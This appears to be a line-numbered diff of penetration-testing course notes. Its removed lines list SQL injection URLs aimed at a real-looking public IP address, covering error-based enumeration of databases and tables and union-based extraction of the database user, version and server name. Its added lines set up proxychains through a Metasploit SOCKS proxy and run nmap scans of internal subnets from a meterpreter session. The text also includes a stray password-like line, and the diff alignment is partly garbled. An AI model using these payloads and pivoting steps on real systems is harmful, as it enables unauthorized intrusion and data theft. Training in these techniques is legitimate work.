515 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases |
515 | + | |
516 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- |
516 | + | |
517 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- |
517 | + | |
518 | - | http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- |
518 | + | #################################### |
519 | # Socks Tunneling with Proxychains # | |
520 | #################################### | |
521 | --- Open a duplicate putty session to your Ubuntu host | |
522 | ||
523 | sudo apt-get install -y proxychains | |
524 | - | # Union-Based SQL Injection # |
524 | + | strategicsec |
525 | ||
526 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 100-- |
526 | + | sudo vi /etc/proxychains.conf <--- Make sure that last line of the file is: socks4 127.0.0.1 1080 |
527 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 50-- |
527 | + | |
528 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 25-- |
528 | + | Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it. |
529 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 10-- |
529 | + | socks4 127.0.0.1 1080 |
530 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 5-- |
530 | + | |
531 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 6-- |
531 | + | ***************************Set up a Socks Proxy through your Pivot ************************* |
532 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 7-- |
532 | + | |
533 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 8-- |
533 | + | |
534 | - | http://54.149.82.150/bookdetail.aspx?id=2 order by 9-- |
534 | + | |
535 | - | http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- |
535 | + | |
536 | set SRVHOST 127.0.0.1 | |
537 | - | We are using a union select statement because we are joining the developer's query with one of our own. |
537 | + | |
538 | - | Reference: |
538 | + | |
539 | - | http://www.techonthenet.com/sql/union.php |
539 | + | |
540 | - | The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. |
540 | + | |
541 | - | It removes duplicate rows between the various SELECT statements. |
541 | + | |
542 | --- Go back to your other putty session with the meterpreter shell | |
543 | - | Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. |
543 | + | |
544 | ||
545 | - | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- |
545 | + | proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 192.168.153.0/24 <--- This is going to be really slow |
546 | ||
547 | - | Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed. |
547 | + | proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24 <--- This is going to be really slow |
548 | ||
549 | - | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- |
549 | + | |
550 | - | http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- |
550 | + | ---close the duplicate putty session to your Ubuntu host |